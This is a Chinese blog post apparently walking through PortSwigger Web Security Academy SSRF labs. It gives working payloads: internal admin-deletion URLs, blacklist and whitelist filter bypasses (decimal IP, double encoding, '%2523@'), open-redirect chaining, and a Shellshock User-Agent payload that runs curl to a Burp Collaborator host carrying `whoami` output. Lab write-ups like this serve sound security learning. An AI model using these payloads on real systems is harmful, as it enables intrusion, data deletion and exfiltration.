Portswigger web security academy:Server-side request forgery (SSRF)

Portswigger web security academy:Server-side request forgery (SSRF)

Basic SSRF against the local server

  • 题目描述

    • lab中的库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
  • 解题过程

    • 寻找漏洞功能点

      • 在商品详情页底部

      • 很明显stockApi 是一个url-encode之后的url

    • 访问/admin

      • 发现删除carlos 的链接

    • 删除carlos

      • ssrf访问/admin/delete?username=carlos 即可

Basic SSRF against another back-end system

  • 题目描述

    • lab中的库存检查功能会从内部系统获取数据
    • 要求扫描192.168.0.x网段的8080端口,寻找admin页面,并删除carlos
  • 解题过程

    • 相比上道题,只多了一个扫描,用intruder即可完成

      • 直接抓包丢给intruder

      • 网段范围0 - 255

      • 发现admin页面

    • 按照上道题,利用ssrf访问删除即可

SSRF with blacklist-based input filter

  • 题目描述

    • 库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
    • 有比较弱的防御SSRF的过滤
  • 解题过程

    • 寻找过滤关键字

      • 127.0.0.1
      • localhost
      • admin
    • bypass

      • 使用数字ip

        • 127.0.0.1转换为数字ip2130706433
      • url编码

        • 通过http,接收后会自动decode一次,之后内部访问,会再次decode,所以可以两次编码

        • admin转换为两次url编码%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

        • 拼接:http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

    • 访问http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos即可

SSRF with whitelist-based input filter

  • 题目描述

    • 好家伙,第四个就直接来EXPERT等级
    • 库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
    • 有防御SSRF的过滤
  • 解题过程

    • 先尝试数字ip

      被告知url只能是指定站点stock.weliketoshop.net

    • 尝试使用xip.io绕过

      发现仍然提示,只能访问指定站点

    • 考虑到题目名是“基于白名单的输入过滤”,先手动测一下白名单内容

      • 必须是http://stock.weliketoshop.net开头,中间不能有其他字符

      • http://127.0.0.1@stock.weliketoshop.net:8080 可行 而 http://stock.weliketoshop.net:8080@127.0.0.1不可行

        而且http://stock.weliketoshop.net这个域名没有注册,所以应该是正则匹配

      • 推测正则

        • ^http://([^\s]{1,}@){0,1}stock.weliketoshop.net(:\d)?(/[-./?%&=\w]*)?
          

        • 去网上看了好多绕过的文章和姿势,都绕不过 = =

      一度陷入自我怀疑

    • 又看了下正则,我觉得可能的情况只有两种

      • 存在url跳转
      • 用@ HTTP基础验证
    • 尝试url跳转

      • 参数污染(x
      • api泄露(x
      • get参数fuzz(x 我还扔到sqlmap和dirsearch里跑了一遍
      • url解析漏洞(x
    • 尝试用@ HTTP基础验证

      在这个正则下,只能是xxx@stock.weliketoshop.net

      • 我第一个想到的是用#锚,使得@stock.weliketoshop.net失效

        http://127.0.0.1#@stock.weliketoshop.net

        但是这样的话,锚会直接生效,会获取到错误的hostname

      • 所以需要url-encode一次,使得接收到时#为url编码,检查通过后向内网发起请求时才是#

        http://127.0.0.1%23@stock.weliketoshop.net

        (这一步我脑子瓦特了,因为#作为url关键字,本身就会被编码一次,即:#在url里发送出去就是%23

        所以应该是http://127.0.0.1%2523@stock.weliketoshop.net (啊啊啊啊啊,我上面尝试失败后就去看solution了,然后被气死)

    • 剩下的就和之前的方法一样

SSRF with filter bypass via open redirection vulnerability

  • 题目描述

    • 库存检查功能会从内部系统获取数据
    • 要求访问http://192.168.0.12:8080/admin并删除用户carlos
    • 库存检查把访问权限限制为了本地,所以需要寻找重定向来绕过
  • 解题过程

    • 寻找重定向接口

      • 在商品详情的翻页中找到一个比较像的

    • 测试接口

      • stockApi=/product/nextProduct?path=/

      • 看起来有点像302.php,直接location跳转,但是不会跟踪跳转,所以需要一个接口去访问这个跳转页面,用之前的checkStock即可

Blind SSRF with out-of-band detction

  • 题目描述

    • 打开商品页面的时候,分析软件会获取referer
    • 要求生成一个访问collaborator的HTTP请求
  • 解题过程

    • 直接把Referer改成collaborator的url即可

      这道题感觉莫名其妙,没有获取任何数据或者执行任何动作,不过倒是想知道这个分析软件的源码(x 打开下道题就不觉得莫名其妙了

Blind SSRF with Shellshock exploitation

  • 题目描述

    • 打开商品页面的时候,分析软件会获取referer
    • 要求通过SSRF,发现192.168.0.x中的一个存活主机,使用Shellshock的payload攻击该存活主机,并利用collaborator获取用户名
  • 解题过程

    • 先去搜了下Shellshock

      • CVE-2014-6271 破壳漏洞(bash的一个漏洞)

      • 这篇文章 写的很清楚

        节选部分

        POC : env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

          env : 设置环境变量后执行程序
        
          bash -c : 启动一个新的Bash , 然后执行后面的命令 . 只有子进程开启时才会其解析环境变量中函数的定义
        

        img

        通过 bash -c 开启当前 Bash 的子进程 , 在子进程载入时会初始化用户环境变量 , 在初始化时发现了包含 "() {" 格式的字符串 , 所以将该字符串作为一个自动导入函数 . 但由于没有判断函数定义的结束 , 所以错误的将该函数定义后的语句也初始化并当作命令执行了 . 所以子 Bash 会执行该语句并输出 vulnerable , 然后再输出 this is a test .

        简单的说 , 就是将恶意命令添加到合法的Bash函数定义后 , 在启动子进程时 , Bash 会先执行恶意命令 , 然后再执行正常的指令 .

    • 按照上道题,测试漏洞点

      • 但是这里只能访问某个URL,Shellshock漏洞需要在UA中添加payload,应该要用gopher,但是尝试过不成功
      • 寻找存活主机? 这也没有反馈,只能构造好payload,一把梭哈
      • 寻找构造SSRF的方法?没找到
    • 看了下solution,意思是把目标主机URL放在Refererpayload放在UA

      • 先试试

        payload:() { :;};curl http://i3mquc43cvfw1xn69b2tpc93fulw9l.burpcollaborator.net/`whoami`

      • 成功了

      也就是说,分析功能在访问Referer的同时,会带上原本的User-Agent。。。这是什么思路,自己给自己刷流量吗 = = ,个人感觉考gopher会好一点

posted @ 2020-12-20 19:38  R3col  阅读(355)  评论(0编辑  收藏  举报